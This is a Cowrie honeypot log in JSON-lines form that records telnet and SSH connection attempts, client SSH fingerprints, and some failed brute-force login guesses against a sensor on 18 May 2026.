{"eventid":"cowrie.session.closed","duration":45.85723853111267,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:46.178817Z","src_ip":"152.42.224.71","session":"3474fb04319e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44940,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e6d9d892060","protocol":"telnet","message":"New connection: 152.42.224.71:44940 (10.17.0.5:23) [session: 5e6d9d892060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:46.402332Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":42070,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5c7d43ba8f8","protocol":"ssh","message":"New connection: 43.130.38.88:42070 (159.203.135.109:22) [session: a5c7d43ba8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:52.773228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:52.777330Z","src_ip":"43.130.38.88","session":"a5c7d43ba8f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:52.846311Z","src_ip":"43.130.38.88","session":"a5c7d43ba8f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arcgis","password":"arcgis","message":"login attempt [arcgis/arcgis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:53.153064Z","src_ip":"43.130.38.88","session":"a5c7d43ba8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.075257778167725,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:53.632632Z","src_ip":"152.42.224.71","session":"3c1a62d821cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:54.224114Z","src_ip":"43.130.38.88","session":"a5c7d43ba8f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.354923248291016,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:55.551712Z","src_ip":"152.42.224.71","session":"f8a9deb79921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38074,"dst_ip":"10.17.0.5","dst_port":23,"session":"4353f3861333","protocol":"telnet","message":"New connection: 152.42.224.71:38074 (10.17.0.5:23) [session: 4353f3861333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:55.742849Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59826,"dst_ip":"159.203.135.109","dst_port":22,"session":"8acdff1f43d0","protocol":"ssh","message":"New connection: 51.250.105.222:59826 (159.203.135.109:22) [session: 8acdff1f43d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:56.589101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:56.594151Z","src_ip":"51.250.105.222","session":"8acdff1f43d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:56.723144Z","src_ip":"51.250.105.222","session":"8acdff1f43d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":50016,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fce10bfda21","protocol":"ssh","message":"New connection: 43.130.35.229:50016 (159.203.135.109:22) [session: 4fce10bfda21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:56.981165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:56.986764Z","src_ip":"43.130.35.229","session":"4fce10bfda21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:57.059015Z","src_ip":"43.130.35.229","session":"4fce10bfda21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ufkbyf","message":"login attempt [root/ufkbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:57.112542Z","src_ip":"51.250.105.222","session":"8acdff1f43d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin00","message":"login attempt [root/admin00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:57.365152Z","src_ip":"43.130.35.229","session":"4fce10bfda21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50626,"dst_ip":"10.17.0.5","dst_port":23,"session":"19fb38969c53","protocol":"telnet","message":"New connection: 152.42.224.71:50626 (10.17.0.5:23) [session: 19fb38969c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:57.869754Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:58.243009Z","src_ip":"51.250.105.222","session":"8acdff1f43d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:58.436762Z","src_ip":"43.130.35.229","session":"4fce10bfda21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":55150,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4732be69074","protocol":"ssh","message":"New connection: 192.169.250.238:55150 (10.17.0.5:22) [session: b4732be69074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:59.170244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:59.174629Z","src_ip":"192.169.250.238","session":"b4732be69074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:59.250459Z","src_ip":"192.169.250.238","session":"b4732be69074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50642,"dst_ip":"10.17.0.5","dst_port":23,"session":"76ddc85eaa45","protocol":"telnet","message":"New connection: 152.42.224.71:50642 (10.17.0.5:23) [session: 76ddc85eaa45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:59.438882Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux","message":"login attempt [root/Linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:16:59.591775Z","src_ip":"192.169.250.238","session":"b4732be69074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:00.670553Z","src_ip":"192.169.250.238","session":"b4732be69074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":38344,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d01ed9e0c6","protocol":"ssh","message":"New connection: 43.135.177.217:38344 (10.17.0.5:22) [session: c5d01ed9e0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:09.003027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:09.007371Z","src_ip":"43.135.177.217","session":"c5d01ed9e0c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:09.076216Z","src_ip":"43.135.177.217","session":"c5d01ed9e0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cygnusx1","message":"login attempt [root/cygnusx1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:09.381794Z","src_ip":"43.135.177.217","session":"c5d01ed9e0c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:10.454226Z","src_ip":"43.135.177.217","session":"c5d01ed9e0c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":33656,"dst_ip":"159.203.135.109","dst_port":22,"session":"54b9d5f2abe6","protocol":"ssh","message":"New connection: 43.153.31.20:33656 (159.203.135.109:22) [session: 54b9d5f2abe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:10.968586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:10.972846Z","src_ip":"43.153.31.20","session":"54b9d5f2abe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:11.041215Z","src_ip":"43.153.31.20","session":"54b9d5f2abe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:11.347776Z","src_ip":"43.153.31.20","session":"54b9d5f2abe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:12.419630Z","src_ip":"43.153.31.20","session":"54b9d5f2abe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.858908414840698,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:12.728525Z","src_ip":"152.42.224.71","session":"19fb38969c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.45615220069885,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:16.903733Z","src_ip":"152.42.224.71","session":"e2d1174cd41c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.142213106155396,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:22.544175Z","src_ip":"152.42.224.71","session":"5e6d9d892060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57146,"dst_ip":"10.17.0.5","dst_port":23,"session":"7921f20586be","protocol":"telnet","message":"New connection: 152.42.224.71:57146 (10.17.0.5:23) [session: 7921f20586be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:24.727959Z"}
{"eventid":"cowrie.session.closed","duration":40.76963686943054,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:26.088349Z","src_ip":"152.42.224.71","session":"2e2333dd10e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.33114218711853,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:27.226247Z","src_ip":"152.42.224.71","session":"e3fb03c28c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.22432231903076,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:28.778230Z","src_ip":"152.42.224.71","session":"b5b9ae51f471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57148,"dst_ip":"10.17.0.5","dst_port":23,"session":"83bcf64f3d9c","protocol":"telnet","message":"New connection: 152.42.224.71:57148 (10.17.0.5:23) [session: 83bcf64f3d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:28.926962Z"}
{"eventid":"cowrie.session.closed","duration":45.733662128448486,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:31.216545Z","src_ip":"152.42.224.71","session":"bc367d2d35df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43114,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b088c9231f8","protocol":"telnet","message":"New connection: 152.42.224.71:43114 (10.17.0.5:23) [session: 2b088c9231f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:34.137068Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43126,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a4586048821","protocol":"telnet","message":"New connection: 152.42.224.71:43126 (10.17.0.5:23) [session: 9a4586048821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:34.828546Z"}
{"eventid":"cowrie.session.connect","src_ip":"120.27.154.152","src_port":50405,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7d78e1786b5","protocol":"ssh","message":"New connection: 120.27.154.152:50405 (159.203.135.109:22) [session: f7d78e1786b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:38.542441Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32864,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a969d90bc6","protocol":"telnet","message":"New connection: 152.42.224.71:32864 (10.17.0.5:23) [session: 46a969d90bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:41.970794Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32870,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb48f19fd051","protocol":"telnet","message":"New connection: 152.42.224.71:32870 (10.17.0.5:23) [session: bb48f19fd051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:42.978352Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":58910,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea99af435857","protocol":"ssh","message":"New connection: 45.78.230.231:58910 (10.17.0.5:22) [session: ea99af435857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:43.876269Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32878,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dae7200f574","protocol":"telnet","message":"New connection: 152.42.224.71:32878 (10.17.0.5:23) [session: 6dae7200f574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:45.107022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:17:47.833416Z","src_ip":"45.78.230.231","session":"ea99af435857","protocol":"ssh"}
